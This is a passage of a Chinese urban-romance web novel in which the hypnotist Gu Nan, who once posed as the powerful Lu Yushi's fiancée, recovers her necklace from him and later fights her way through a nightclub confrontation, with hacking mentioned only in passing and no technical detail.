云间别墅浓烟滚滚,炽烈的热浪与彻骨寒夜交织,她眼睁睁看着断壁燃为灰烬,轰然倒在眼前。被猛火烈烹的肌肤敏感到极致,雨丝如水蛇般钻透心扉。
没有尽头的夜晚,黑伞遮住风雨,她僵硬地扭转脖颈,夜色太黑,她看不清来人模样,紧颤的牙冠说不出“谢”字。
时间一分一秒过去,脚边虚影越来越远,她拼尽全力去扑。
“呼!”
顾楠猛地睁眼,额头冷汗在阳光下闪闪发亮,她长呼一口气,无意识抬手捂在胸口。
摸了个空。
意识回笼,想到小雏菊项链没在身边,她任由胳膊自然滑落,又闭了会眼睛,平息剧烈起伏的胸膛,偏头看向窗外。
下了整晚的大雨已经停歇,太阳暖烘烘照在她冰凉的手脚上。
十分钟后,她起身灌了几口凉水,抬手揩去额头冷汗,趿着拖鞋去冲澡。
花洒热流滑进发梢,浴室热气氤氲,总算褪去噩梦带来的满身疲软。
她边擦头发边切换系统。
佛手头像凌晨时回复消息。
【东西在对方手里,他说下次催眠带给你。】
顾楠单手打字:【下次催眠什么时候?】
【你心情好的时候的白天。】
顾楠:【?】
佛手头像:【他的原话。】
顾楠轻抿红唇,暗骂瑕疵必报。
【把他推给我。】
佛手头像发来名片,又问:【昨晚没催眠?】
顾楠:【情绪不对,不适合催眠。】
佛手头像似是揶揄:【还有你引导不了的情绪?】
顾楠眸光沉了下去,打字。
【我是说,我情绪不对。】
那个男人给她的感觉太熟悉了。
她缓缓平移视线,看向手腕。
昨晚被男人抓住瞬间痛感强烈,后来她没留心观察,此时经过整晚发酵,手腕上泛着青色瘀痕,如同一条蜈蚣死死扒在她的血肉上。
没什么痛感,只是很丑,丑得她不忍多瞧。
她可以肯定昨晚男人没用全力,就给她留下很深的瘀痕,如果进了拳击馆,一拳的力道该有多少。
迟疑半分钟,切换账号找到一个半年前的联系人,先从黑名单放出来,后拨去电话。
男人嗓音招摇磁性:“楠宝~”
“滚。”
“啧,一大早脾气好爆。”
顾楠没理他,问:“餐厅昨晚28楼和29楼都有谁订了包间?”
“不知道。”对面很了解顾楠的脾气,赶在她开口骂人前补充说,“我又不是前台,哪有时间盯这些。”
很快他口吻笃定:“只有纪元宇。”
顾楠眼睛眯了眯,眸光划过一抹敏锐。
“你有北城陆家那位的照片吗?”
电话那头有布料摩擦的声音,随即声音猛地拔高:“陆家?宝贝,北城你得罪谁我都能摆平,陆家那位……嘶,你要不考虑考虑换个人玩?听我的,陆家那位不能招惹……”
“啪。”
声音戛然而止,四周安静。
顾楠面无表情点了挂断,顺手继续让他躺回黑名单。
净是废话。
手机响了一下,她的好友请求被通过,她指尖虚点在输入法键盘。
陆家那位她不知道,传说中的未婚夫她倒是见过一面,时间久远,长相在记忆中略有模糊。
不过印象中那人耳后有颗小痣微微泛红。
低头打字。
—
辰悦壹号。
邱景循一句“我.艹”炸开在极其安静的房间。
躺椅上,陆御时阖着眸子眉心蹙了下,似是不悦,他身后按摩师的神情也随之紧张了一下,低声询问:“陆少?”
陆御时摆手示意按摩师出去。
北城最好的按摩师,对于他头疼的病症,只能发挥聊胜于无的作用。
邱景循箭步冲到他身边:“J这么嚣张吗?”
聊天框内,J一连发三句消息,一句比一句态度高傲。
【位置。】
【准备好,我现在去拿。】
【回消息。】
“还真是……没礼貌。”
评判别人的话,陆御时从来不接茬,邱景循没指望他能回应,自言自语:“昨晚不是说了下次给,这么着急?什么宝贝。”
他边说边拆塑封口,层层纸巾包裹下,生锈的鱼骨链最先入眼,下方雏菊最多可赞一句做工用心,流苏肉眼可见廉价。
暖阳热烈,刺眼的光芒没能让雏菊多几分耀眼。
确信是个掉在眼前都不会让他弯一下腰的便宜货。
“就这?”
陆御时懒怠抬眸,漫不经心的视线接触到项链时骤然凝滞,片刻淡声:“她脾气差,放回去。”
邱景循耸肩,打趣:“你还会在乎别人的脾气?”
两人正聊天,手机响起语音通话。
才点接通,下一秒冷傲的声音从听筒倾泻而出。
“费用退你一半,地址告诉我,我现在去拿。”
话音落下,空气只有沉默。
半秒后。
“说话。”
邱景循艰难地咽了口唾沫,瞥了眼陆御时的脸色,干巴巴说:“你知道你在命令谁吗?”
“难道是个哑巴?”
走心的怀疑声在房间内回荡。
冗长的沉默。
“辰悦壹号。”陆御时起身拿走手机。
“欸,”邱景循从震惊中回神,盯着空荡荡的手心目瞪口呆,半晌咂舌:“突然很想看看她知道你身份时的表情。”
——
“我真查不到辰悦壹号实际的主人,还有,你能不能别再给我拉黑了。”
顾楠“嗯”了一声,挂断拉黑一气呵成。
怎么认识了这个废物。
她抬手招呼门卫,顺利进入这处查询不到主人的庄园。
入目便是名贵花草和极近奢靡的园林造景。
自称管家的人带她穿廊过榭,停在一处气派的大门前。
她抬手摁压鼻骨处口罩,推门进去。
房间通体铅灰色,极简风摆设,沙发占据一角,男人背光而坐,双腿微微交叠,无彩色系的装潢显他气场迫人。
见她进门,男人平淡移过视线,没有任何动作,眉眼犀利带着与生俱来的贵气。
顾楠抿了下嘴角,男人没戴面具,凌厉不容侵犯的气质与记忆中相似,阴郁倦怠的目光让她不敢确定。
她状似不经意扫过男人耳垂,心下琢磨怎样可以不经意看到男人耳后。
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>“你是北城人?”
没头没脑的问话惹顾楠微怔,她抬手紧了紧口罩上方金属条,否认:“不是。”
“去过北城?”男人追问,他言语平淡,眉眼却似蕴着深意,仿佛可以将所有谎话遁于无形。
顾楠很少会紧张,与他对视,没来由收拢五指,不肯落下风似得抬了抬下巴,强迫自己不移开视线,慢声:“没有。”
“嗯。”男人似乎无意问出什么,盯着她看了一会,小幅度偏抬下巴,“自己拿。”
顾楠顺着男人的视线偏头,茶几上,塑封袋大刺刺敞开着,几层包裹的纸巾略显凌乱,她深吸一口气,讥讽:“随意拆别人的东西很没素质。”
“比起耽误别人的时间呢?”
……
顾楠嗤了一声,边走过去边说:“迟到是因为路上被一个不长眼的傻.逼撞到,很不巧,那个人是你。”
她摊手,几乎走到男人身前,居高临下看着他的眼睛,一字一顿:“和你一样,我也睚眦必报。”
四目相对,空气中氧气陡然稀薄。
她眸子眯起心生一计,扭头俯身捡起项链,大大方方在男人身前“表演”平地摔跤。
整个人如同脱弦的箭直奔沙发上男人而去,直到她倒向男人,身形交叠,没得到男人任何动作。
静默中。
耳边传来男人平静的语调:“睚眦必报,这么抱的?”
空气凝固了三秒,顾楠干咳一声,快速看向男人耳后。
目光没来得及聚焦,男人忽偏头,放大的俊脸猝不及防闯入视线,她心跳猛然停滞,一时忘记动作。
“演技差了点。”
顾楠眸光闪躲,肌肤触碰的地方生了火似得,灼烧心肺。
她平复呼吸,佯作镇定起身,拍打身上不存在的灰尘,故作促狭上下打量男人:“肌肉练得不错,手感很棒。”
特意冒犯的动作语言没能引男人岔开话题。
“没去过北城?”
顾楠攒了下掌心,双手背后交握踱步,端得一副目中无人:“J是浔城人,我以为是共识。”
“身份而已,想改也不麻烦。”
不知是不是做贼心虚,顾楠心底泛起嘀咕。
一时觉得身份暴露,转念一想,她始终戴着口罩墨镜,时间又已经过去五年,应该不至于。
“下次催眠什么时候?”
男人终于有了动作,却仅仅换了个更舒服的姿势,他双臂伸展自然搭在沙发背上,脊背后仰。
明明抬头仰视,气场却似氛围的主宰者。
“怎么,你心情好了?”
顾楠满脸复杂:“有人说过你小心眼吗?”
男人黑眸眯起,淡声:“没机会。”
至于是别人没机会说,还是他没机会听到,无从得知。
“陆少。”管家站在门口,轻敲屋门欲言又止。
男人起身,大步离开:“时间确定后,我让人通知你。”
脚步声走远,顾楠思忖一会,自来熟的和管家搭话:“陆少?陆御时?”
管家端着假笑没接话,顾楠看着男人身影消失在拐角,脸上表情少了从容。
能被称为陆少,且还是查不出别墅主人的陆少,除了陆御时……
墨镜下双眸眯起,她回头看眼高楼耸立,迈出辰悦壹号的大门。
楼上,陆御时站在窗前,隔着窗子遥遥注视门前离开的背影,把手机丢给管家,眉目冷淡:“去查。”
5. 假扮
“楠宝~”
“嘶。”
对面语速飞快:“有人在查你。”
心底游移了三日的弦忽而紧绷,顾楠神色一凛:“查我还是查J。”
“J。”
“陆御时?”
“是,”电话对面一改往日油腔滑调,郑重劝,“他脾气暴戾恣睢,得罪他的人没有好下场,你少在他身上打主意,如果……”
五秒后,顾楠绷着脸挂断电话,无语撇嘴,那是她想招惹吗?
这明明是她被招惹。
沙发上黑白花色猫儿不知何时醒来,伸着脖子观察一圈,垫着脚跳到顾楠腿上,轻蹭她小臂。
顾楠分出一抹视线,单手抚摸它头顶墨色绒毛,陷入沉思。
全国属北城权贵最多,北城中便是这位陆家太子爷最为神秘,所有流出来的传言皆是他心狠手辣的佐证,不过……
“呵。”
良久,鼠标点击声和一语轻嗤同时炸开在房间内。
吓得小猫绷起飞机耳,她忙顺毛撸了撸,视线紧盯电脑光标闪动,嘴角挂着几分邪气的笑。
自言自语:“查我?”
最后一行代码停止跳动,她利索合上笔记本,思索片刻,开车赶去新时报。
-
新时报总裁办公室一声惊呼破坏室内静谧祥和。
“陆御时?”
顾楠揉了揉耳朵,懒洋洋撩目。
纪元宇察觉自己失态,左拳抵在唇边轻咳一声,快步走到门前锁门,皱眉问:“确定吗?”
“只是猜测。”顾楠吊儿郎当往桌子一靠,顺手摸了个橘子剥皮,“新时报没少拿那群老东西的好处,你最近小心些,该处理的都处理干净,别被陆御时找到把柄。”
说完,她好心分出一瓣橘子。
纪元宇满脸忧色,分不出半分精神给橘子,问:“是为了未婚妻的事?”
“未婚妻?”顾楠无所谓笑笑,脑海闪过男人冷矜的侧脸,隔着五年时空交错。
耳畔响起男人两次追问她是不是去过北城。
五年前,为了在浔城立足,她把风雨飘摇的新时报推上浔城名企榜首。
怎样做到的,只有纪元宇知道。
那年纪家小辈得罪北城一位权贵人家,那人不由分说便对新时报动手。
纪元宇去北城,名为参加晚宴,实为赔罪。
席间几次道歉,对方摆明不肯收手。
无奈离开时,顾楠听到有人讨论某位大佬即将回国,说话之人对那位大佬讳莫如深,连姓名都不敢提起。
眼见纪元宇借酒消愁,一个大胆的想法在脑海初具雏形。
她壮着气势假扮那位大佬的未婚妻。
意料之外,竟被认下。
顾楠没时间考虑为什么会被认下,明里暗里让他们放过新时报,又多次借未婚妻身份游走于各界峰会晚宴,各种资源利益置换。
直到那位大佬突然回国,所有人才发现自己被骗。
纪元宇拉着她东躲西藏过了几天,两人无意间在拳击馆看到那位大佬1700的臂力,连夜开车赶回浔城。
因为在北城一切都是假的,她又黑掉了当时所有的照片,那位大佬最终也没查到她头上,未婚妻的事情就这么不了了之。
风头过去后,纪元宇捂着胸口庆幸,不想又听到小道消息,假扮陆总未婚妻的人已经被送去加勒比海圣托马斯东南海岸。
生死不明。
“不知道。”顾楠把橘子瓣丢进嘴巴,酸涩的口感在口腔蔓延,直冲天灵盖,她皱眉“嘶”了口气,犹豫三秒把剩下剥开的橘子全部塞到纪元宇手中,轻轻拍了拍,嘱咐,“别浪费。”
纪元宇低头看了眼橘子,眉目依旧紧拧。
顾楠嫌弃地拍他肩膀:“是我假扮的,又不是你,他要找也是找我。”
话音未落,视线落入纪元宇满眼狐疑:“你怎么知道的?”
“额。”
顾楠抱臂努力想了一会,没想到借口,她抿下嘴唇,抬眼眸色无辜:“我现在不知道还来得及吗?”
……
“是不是他找你了?”
“有什么事你告诉我,不用一个人硬扛,我可以给你撑腰的。”
顾楠低着头继续很努力、很仔细的回想一遍,如果她甚至需要纪元宇的帮助,那这些年也是白活了。
落在纪元宇眼中又变成了另一层意味。
“他真找你了?”
“没,我还有事,走了。”
顾楠瞥了他一眼,拿过办公桌上半袋橘子,迈步要走,被纪元宇拦下,他苦口婆心:“除了新时报这里的工作,你还能有什么正事要忙。”
“欸?”顾楠回眸盯了纪元宇一会,怀疑他在人身攻击,但从他眼中又只能看到关切,便收起赶到嘴边的脏话,淡定说:“急事。”
“什么急事?”纪元宇语气急促,仿佛只要她提一句陆御时,下一秒纪元宇就要赶去陆家和陆御时一决高下。
她提了下手中半袋橘子:“刚卖橘子的告诉我,不甜能退。”
……
“我如果去晚了,她就开着她的电三轮跑路了。”顾楠默默补了半句,眼睁睁看着纪元宇脸上表情一点点龟裂,她想笑又觉得不合时宜,默默要走。
“都什么时候了,你还想着橘子?”纪元宇满脸恨铁不成钢,“我给你订机票,你今晚就出国,等我确定这事过去后再接你回来。”
顾楠心内腹诽,陆御时如果真为未婚妻的事过来,我出国你就死定了。
“这橘子很贵的,28块钱一斤。”
“顾楠,我没有和你开玩笑。”
“我也没有。”顾楠面上乖怂,抬了抬手机,“我有付款记录。”
……
纪元宇深吸一口,大约有些气血上头,他扶了下额头,一指门口:“我去退橘子,你出国。”
能让纪元宇这种富家子弟说出退橘子的话,顾楠心内好笑,再添一把火:“那不行,国外的橘子更酸了。”
趁纪元宇还在揉太阳穴,顾楠忍笑从办公室出门。
高层落地窗采光通透,落日余晖盛着耀眼金黄洒在她的侧脸,柔和她面部轮廓,瓷白面颊上眉目如画般精致,眼眸深处清透染着笑意。
空气中还残存阳光暴晒后的独特气味,她阂眸轻嗅,给自己心头片刻安宁。
味道中忽多了几缕熟悉的香水味,她睁眼。
“啧。”
苏迪趾高气昂看着她,阴阳怪气:“你还有心情晒太阳?”
顾楠面色复杂地指了指窗外,“脑袋不聪明就算了,怎么眼睛还不中用了,你看太阳在哪?”
苏迪剜她一眼,不客气地拉椅子坐下,挑衅抬眸:“你输定了。”
“怎么?你又救了你好大儿一命?”
“顾楠!”苏迪顺了下胸口:“我警告你对陆少放尊重点。”
顾楠眼珠转了转,好说话的点头:“行,那你有你好大儿……你陆少的照片吗?”
苏迪警惕的收拢双臂,“
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干什么?”
“我得知道他长什么样,才好知道要尊重谁,你给我张照片,最好是全身照,都能看到的那种。”
苏迪声音猛然尖锐:“你是不是还想要□□的?”
顾楠煞有介事的想了会,“那倒也不用。”
“顾楠!”
“我又没耳聋,你别这么甲亢。给吗?不给我走了。”
苏迪长喘一口气,使劲拍打胸口,抬眼瞪着顾楠,重声:“我已经找到J了,并且她亲口答应我出面,不好意思,就算公平竞争,你也不是我的对手。”
“啊?”顾楠怔愣,上下打量她一眼,满脸疑问:“你找到J了,那我是……”
她使劲咽了口唾沫,硬生生把嘴边的“谁”字吞下去,重新调整措词:“J答应你出面?”
难以置信的表情落在苏迪眼里变成另一层意思,苏迪高抬下巴,气焰嚣张,不可一时道:“对。”
顾楠盯着她看了一会,砸吧了下嘴,抱臂低声念叨:“这是被人骗了多少钱?”
这年头,怎么还有人跟她抢冤大头。
“你不用诅咒我,我来是告诉你,J三天后有时间,你可以过来,我让你输得心服口服,免得说我背靠陆家仗势欺人。”
顾楠没忍住大翻白眼,但还是真心劝道:“陆家让不让你仗势我不知道,但你……算了,听我一句劝,把反诈APP焊死在你的手机上。”
回答她的只有“嘭”的关门声。
因动作幅度过大,整扇玻璃门晃了好久才停下来。
顾楠目光复杂注视玻璃门渐渐平静,摊手,自言自语:“不听劝呢。”
低头切换手机系统,给佛手头像发消息。
【姓苏的怎么回事?】
自从让佛手头像估摸加价后,她没再过问。
往年只有她借别人身份招摇撞骗的份,今天倒被人借了她的身份。
默默嘀咕,天道好轮回?
【昨天她说找到你本人了,你答应和她见面聊。】
【J,我还是那个意思,我知道你的本事,迟早会自己单干,可你不能利用我。】
顾楠一头雾水:【单干?】
【之前那位,虽然人傻钱多,但也是因为我先极力举荐你,才给你这个挣钱的机会。】
“额。”顾楠沉吟了下,很想劝她慎言。
万一被陆御时知道,怕不是她也要去詹姆斯岛长眠。
【我们合作五年了,我一直相信你的人品,没想到你也会过河拆桥。】
“拆你大爷。”
“你脖子上是顶着六个窟窿的球吗?她说我找她你就信,她还说她是陆御时亲妈呢,你也信?没事动动脑子,人和猴的区别就是人的脑子是可以储存智商的,你也能储存,明白吗?”
“我连你都不见,我见她?怎么着,她是比你多点硼化硫?”
她还要再骂,抬眼瞥见纪元宇面色凝重往这边走来,话到嘴边改口:“以后没事就给脑袋放放假,免得要用的时候腾不出来。”
一串语音发完,切换系统。
玻璃门被推开。
纪元宇:“苏迪找到J了。”
顾楠耸肩,轻飘飘道:“邀请我三天后过去见识见识。”
“你去吗?”
“当然去。”这么优质的冤大头,被人抢走太可惜了,“欸,对了?”
纪元宇神色绷起:“怎么了?”
“你的员工迫切需要被普及一些反诈知识。”
“啊?”
6. 夜色
“跑路了?”顾楠拎着半袋橘子,站在空荡荡的路口。
马路宽阔,几辆汽车疾驰而过,掠起一路晚风飘摇,空气中似乎还能嗅到青橘酸涩,道旁不见商贩身影。
她掂了掂半袋橘子,在丢垃圾桶和送给纪元宇之间犹豫三秒,果断转身。
“刺啦。”
刹车声比她转身动作提早半秒。
一辆跑车停在她身侧,顾楠偏头瞥了眼夸张的骚粉色,抱臂往后靠,扯到塑料袋忽心里好笑。
暗道,送上门的垃圾桶。
车窗缓缓落下,驾驶位男人的脸比跑车更骚气几分,尤其一双看狗都深情的桃花眼。
“楠宝~”
顾楠眯了眯眼睛:“你再叫一声试试。”
“呵呵。”男人尬笑笑,身体前倾伸胳膊打开副驾驶的门,“去哪,我送你。”
“回家。”顾楠顺手把橘子递过去,“给你买的橘子,别浪费。”
“哦。”万易呆呆接过,难以置信,“你给我买橘子,下药了?”
顾楠嫌弃瞥过一眼,没接话。
万易一手摸后脑勺,一手扒拉塑料袋:“没道理啊,我认识你8年了,这是你第一次给我买东西。”
“所以你准备给我磕一个?”顾楠双手交叉枕在脑后,挑眉移过视线,没正行道。
万易恍然大悟:“我明白了,你是不是想占我便宜。”
“额…”顾楠垂眼沉思片刻,真诚道:“给你当爹不是什么光荣的事,你不需要有这种烦恼。”
……
“法治社会救了你。”
“嗤,”顾楠放下左手,慢悠悠弹了下安全带,危险笑笑:“你确定?”
万易吞了下口水:“不确定了。”
临下车,顾楠:“明晚擂台赛。对了,你仇家也在。”
万易忽视她后半句话,对着她的背影竖了个中指,却在她回头时火速收回,并堆起满脸笑:“乘客您好,您的目的地已到达,请您带好随身物品……”
“嘭!”
车门被甩上,万易嚎了一嗓子,心疼地摸着车门,对车门说:“乖,没摔疼吧,给你吃个橘子。”
顾楠去而复返,拉开车门,只见万易上半身半趴在副驾驶座椅上,手里举个橘子,眼含热泪。
顾楠一脸复杂,五官皱起,头颅微往后缩,艰难道:“这情况多久了?”
“咳咳。”
万易面无表情坐回驾驶位,挺直脊梁,目不斜视盯着前方,锐利的视线仿佛下一秒就要冲出去杀死路边那只鸟。
顾楠:……
“什么事。”
“需要我帮你请个专家吗?”
“帮我关上门就好,谢谢。”万易礼貌点头微笑。
副驾驶车门再次关上。
顾楠站在一旁,好像听清了车内干嚎。
失语笑笑,转身回家。
舅妈还没回来,她一个人站在玄关处,冷冷清清的房间让人提不起踏足的欲望。
每走一步仿佛就能听清数道回声。
环顾一圈,茶水机水桶空了两天,她懒得换,拿着水杯从客厅逛到厨房,接了半杯自来水一口喝净。
水杯放在岛台上发出一声脆响,顾楠打开冰箱,里面只有舅妈临走前煮的饺子,已经发霉。
“啪。”
甩上冰箱门,顾楠转身就走,到门口又折回,指着冰箱骂了声:“早晚把你换了。”
抬眼见玄关处猫粮多了半碗,顾楠朝卧室喊了声:“警长?”
一只黑白相间的猫儿从窗帘后起身,打了个大大的哈欠,边走边伸懒腰,长长的一条猫悠哉走到顾楠面前。
顾楠看了眼猫粮,又打量一眼小猫,“睡觉去吧。”
猫:“喵?”
“嘭。”
关门声震得门框抖三抖。
顾楠顺着不锈钢楼梯扶手几个翻身,已到楼下。
车子一路飚到最高迈,在一家挂着“夜色”牌子的地下夜场熄火。
其貌不扬的门口里面是酒精与音乐交织的狂躁,鼓点伴着人头攒动,镭射灯光照亮一具具扭动的身躯。
这里,所有人都在尽情狂欢。
顾楠瞥了眼卡座,又或许,她们在借着闪动的灯光发泄对命运无法掌控的怒火。
服务生是位男士,身穿黑色刺绣衬衫,他皮肤白皙,一双含情眸水光潋滟,比场上女人还多几分妩媚。
语气却与这幅样貌相差千里:“有订台吗?”
顾楠:“订台?”
服务生嫌弃地抬手,对着空气扇了扇,他审视的视线落在顾楠身上,毫不掩饰眸中鄙夷,低声嘟囔一句:“订台都不知道。”
说完,不耐烦抬眼,嫌弃说:“现在没位置,等着吧。”
顾楠:“等多久?”
“等到有位置。”服务生又嘟囔一句:“真麻烦。”
“我问你等多久。”顾楠语气平淡。
服务生忽提高嗓音:“诚心找茬是不是?不知道【夜色】是预约制?我能让你进来开开眼你就感恩戴德吧。等别人玩够了回家了你就有位置了。你愿意等就进去找个角落待着,不愿意等就滚,听明白了吗?”
顾楠盯着他看了会,忽咧嘴一笑,“我记得我给过你脸了。不过,我能听明白,就看你忍不忍得住了。”
说完,一拳捣出,不收力地砸到服务生脸上。
“嘭”的一声,服务生撞到吧台上,手臂无意识扫落几只酒杯,晴蓝色液体顺着吧台桌往下流,一半沾在服务生身上,湿透的衬衫勾勒出他完美的肌肉线条。
倒多了几分令人疼惜的可怜样。
“啊!”服务生尖着嗓子喊:“你敢打我?”
顾楠“啧”了一声,惋惜:“你这张脸要是不长嘴就完美了。”
说罢,一连三拳,见服务生缩成一团,她慢腾腾起身,居高临下看着服务生:“下次好好说话。”
喧闹的酒吧不知什么时候安静下来,灯光全开,节奏感强烈的歌曲霎时显得突兀。
面对一众视线,顾楠旁若无人整理袖口,耐心说:“看到了吗,嚣张的人一定要拳头够硬,这是忠告。”
人群中传来看好戏的声音:“这个忠告留给你自己吧,你知道他是谁的人吗?”
顾楠垂眸扫了服务生一眼,不吝夸赞:“长得不错,如果你们没人要,我勉强收了也行。”
服务生气怒起身,双眼通红,先是指着行注目礼的众人大喊:“看什么看!都给我滚!
而后直勾勾瞪着顾楠:“我让你今天出不了“夜色”的大门!”
说完,对众保安吼道:“愣着干什么?都给我上,打死不论。”
保安们互相对视一眼,都在对方眼里看到犹豫。
服务生尖叫:“都不想干了是吗!”
一身保安队长打扮的中年男人从人群中挤了出来,对看热闹的众人道:“今晚大家所有消费全部九折,希望这点小插曲没有打扰到大家的兴致,都散了吧。”
他的话并没有起到多大作用,顾楠看在眼里,满不在乎,朝调酒师打了个响指,朗声:“一杯Martini,谢谢。”
不知人群中谁评价一句:“最后的鸡尾酒?”
哄堂笑声中,一个女人绕到她身旁,悄悄拉她衣袖,小声:“美女,你还是给许少道个歉吧。”
“道歉?”顾楠斜睨了眼被保安们围住的服务生,无声评判:“细狗。”
她与服务生对视,口型夸张。
服务生暴怒而起,指着众保安鼻子大骂,“今天不把她摁死在这,你们谁都别想好过!”
“嗤。”顾楠嘲讽一笑,转过头去看调酒师的进度。
分明很轻一声不屑,服务生仿佛被点通了炸药包,整个人活像刚从山林里蹦出来的野兽,没有理智,只剩几分动物的本能。
“好,你们都别动,等燕姐回来,看到我在你们
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眼皮底下被人打,我倒要看看你们怎么回答。”
保安队长低劝:“许少,燕姐不喜欢有人在她的场子里闹事。”
服务生猛地转头,指着保安队长鼻子骂:“你觉得对燕姐来说这个破场子比我重要?”又看向还在犹豫的保安。
只一眼,第一个保安冲了上去。
第二个第三个紧跟其后。
围上去的保安越来越多,保安队长见劝不住,拿着手机赶忙出去打电话。
平时燕姐几乎每天都过来,店长也月月全勤,就今天不凑巧,两人同时有事。
电话“嘟嘟”声响个不停,保安队长急躁的来回跺脚,额上冷汗汇成流。
许少是燕姐养得小男友,他被欺负了燕姐那里交代不过去。但如果里面那个女孩在这里出事,场子出了问题,燕姐那里也交代不过去。
“您拨打的电话暂时无人接听。”
机器女音第五次重复。
保安队长看了眼黑透的天色,用力抹了把头上汗水,招呼门口的保安都进去劝架。
“一会不管许少说什么,先把人拉开再说。”
“你们三个过去安抚许少,剩下的都去给我拉架。”
“还有,注意那个女孩,别出人命。”
“都赶紧的。”
保安队长边嘟囔边往里走:“那女孩看起来也就刚成年,真出事了燕姐肯定找咱们。你们都别听许少气话,就给我拉架。”
一人讥讽:“靠屁股上位,还混成许少了。”
几人都附和点头,却没敢接话。
“咱们私下说说就好了,万一被他们听到,你……”
推开门帘。
保安队长的絮叨声戛然而止。
同样猝然停住的还有众位保安的脚步。
有人小声问:“我们还需要进去吗?”
保安队长立正三秒,揉了揉眼睛,迎着一众疑惑的目光低头往外走,门前停步,再水灵灵的走进来。
里面场景没有任何变化。
地上保安们躺得乱七八糟,口中不住“哎呦”,许少瘫坐在吧台前,胸口上还印着清晰的脚印,看形状,不难猜出脚印的主人。
在他身旁,一个女人大大方方的站在吧台前,很有耐心的指挥调酒师调酒。
而那群看热闹的人,保安队长满脸问号环顾四周。
都乖乖回座位了?好像准备听讲的小朋友。
在这家鱼龙混杂的夜场,一切看起来都显得那么的诡异。
顾楠回头温和笑笑,一双虎牙看起来人畜无害:“你们也要一起上吗?”
漫长的对视,保安队长的担心换了对象。
燕姐的关系网太大了,这个女人打了燕姐的男朋友,怕是……
“嗡嗡嗡。”
寂静的房间里,手机震动的声音听起来尤为清晰。
保安队长咽了口唾沫,深吸一口气,点了接通。
“燕姐,有人在夜色把许少给打了。”
燕姐挂断电话很快,他后半句话还没犹豫好要不要说。
不仅把你小男友打了,还把你的客人教育成了乖巧的小学生。
这个女人如果再来几次,你的“夜色”可以改名叫“白天”了。
“你走不了。”
顾楠颔首,慈祥地看向调酒师,问:“学会了吗?以后我的Martini就这么做。”
保安队长摇摇头,快步走到顾楠身边,低声问:“成年了吗?”
顾楠耸肩,不置可否。
保安队长叹气:“那完了。”
顾楠:“幸好我成年了,要搁之前,这些人现在就不是爬不起来这么简单了。”
保安队长皱眉,“暴力解决不了所有问题,尤其涉及到那些不能得罪的人。你……你待会好好认错。”
见顾楠点头,保安脸上欣慰,再次长叹一口气。
顾楠莞尔一笑:“那一定是还不够暴力。”
7. 帮忙
经此一闹,“夜色”破天荒在晚上8点的黄金时间灯火通明。
客人们三三两两抱团交谈,内容无非是:
——敢在夜色闹事,不想活了?
——闹事就算了,还打伤燕姐最喜欢的小男朋友。
保安队长听着周围私语声,长长叹了口气,于心不忍。
他们早就看不惯许少,碍于燕姐喜欢,只能忍着许少的臭脾气,今天好不容易有人出手教训许少,虽有几分痛快,却不免为这个女人担忧。
“燕姐很快就会过来,你快打电话。”
顾楠一头雾水:“打电话?”
“据说燕姐背靠万家,我们浔城虽说表面上是纪家掌权,但真要和万家对上,也只有往后靠的份。对付万家……”
保安队长声音小了几分,分析:“浔城没人能和万家说得上话,你最好有北城那边的关系,不然……欸,你说你好好地打他干什么。”
听他说完,顾楠了然笑笑,没所谓地抿了口鸡尾酒,眯着眼享受,轻飘飘道:“谢了。”
人群中有个女人焦急劝:“你别谢啊,赶快找人。等燕姐回来就都来不及了。姓许的人不怎么样,说得话没有夸张,如果他不想让你走,你很难离开的,你不知道燕姐有多宠他。”
女人声音不小,不止她能听到,落在远处许少耳朵里同样字字清晰。
周围人虽“自愿”散去,这会支着耳朵听这边动静。
顾楠一眼扫过回头看热闹的人,皆是一脸“你死定了”的表情。
视线最终定格在许少的脸上。
许少原本已经被保安们扶起来,大约知道燕姐要来,这会又瘫坐回地板上,特意保留了衬衫上几个清晰的脚印,以及唇角红肿和眼尾淤青。
两人视线于半空相交,许少的眼睛像淬了毒。
顾楠也不恼,遥遥举了下酒杯,喟叹道:“这年头小白脸都当得这么理直气壮,世风日下啊。”
其余人面面相觑,没人接话。
保安队长生怕她再次激怒许少,道:“少说两句吧。”
许少没有保安队长想象中恼怒,他满脸的骄横恣肆,冷声:“一会别哭着求我。”
仿佛已经预料到燕姐过来后的场面。
顾楠似是想起什么好玩的事情,低笑一声:“你也一样。”
-
没多久。
“谁闹事?”
人未到声先闻。
听声音是位中年女人,嗓音嘹亮,中气十足。
门帘后脚步声嘈杂又急促,保安队长瞥了眼逍遥自在的顾楠,小跑过去撩开门帘。
保安队长低声:“燕姐。”
来人身高约1米65,身材微胖,三步并两步走进来,一步一扭,豪放中带着几分风情。
她妆容厚重,睫毛极其夸张,如同两把浓密的羽扇支棱在眼睛上方,嘴唇赤红,声音不怒自威:“要你们干什么吃的,人呢?怎么样了?去医院了吗?”
保安队长心内腹诽,他都摆好姿势等你来心疼了,怎么可能同意去医院。
嘴上唯唯诺诺道:“没有。”
“不想干了是吗!”
保安抿了下嘴唇,低眉顺眼跟在燕姐身后往前走。
许少压着嗓子唤:“燕姐。”
他坐在地上没有起身,就那么双眼含泪直勾勾看着燕姐,眼尾青紫又多一抹红,嘴边还有被打肿的伤口,肿痕延伸到唇上,显他嘴唇更为饱满。
衬衫领上的褶皱与脚印无声诉说他的委屈。
“你再不来,我就要被人打死了。”
“嘶。”燕姐眉头一皱,“你们一个个都是死的吗,不知道扶起来?”
保安们七手八脚扶起许少,燕姐低头打量一眼许少脸上伤口,正要转身找凶手,却被许少环住腰身,一言不发,只是抱着。
燕姐眼中火气肉眼可见蒸腾。
“人呢!”
所有服务生面面相觑,皆在心里为还在喝鸡尾酒的女人捏了把汗。
也有人提前后退,生怕打起来伤到自己。
她们见过燕姐动手,刚刚也见识了那个女人的动作,两人打法都有着如出一辙的狠劲,视线落到那个女人身上,无不惋惜。
拳头再硬,在背景强大的人面前,也不过是关公门前耍大刀。
顾楠漫不经心抬眼,甚至懒得放下酒杯。
服务生纷纷让路,一条人形路径对面,两人对望。
预料中的大发雷霆没有,剑拔弩张也没有,她们隔着人墙对视,一坐一站,谁都没动作,谁也不开口。
有人关掉音乐,场面看起来一度诡异。
走进门口的客人,见此场景又默默退出去,疑问的声音久久不散。
“夜色都能出事,浔城要变天了?”
没人为他解惑。
许少偷偷瞧了眼燕姐,起身故意装作体力不支摔倒在地,嘟囔的嗓音添着委屈:“她打我没关系,但她千不该万不该在您的场子里撒野。我算什么东西,被打就被打了,可让您场子里的人担惊受怕,这不是不给您面子嘛。”
话音未落,许多服务生投去鄙夷眼神,又担心地看向吧台桌前翘着二郎腿的女人。
静默。
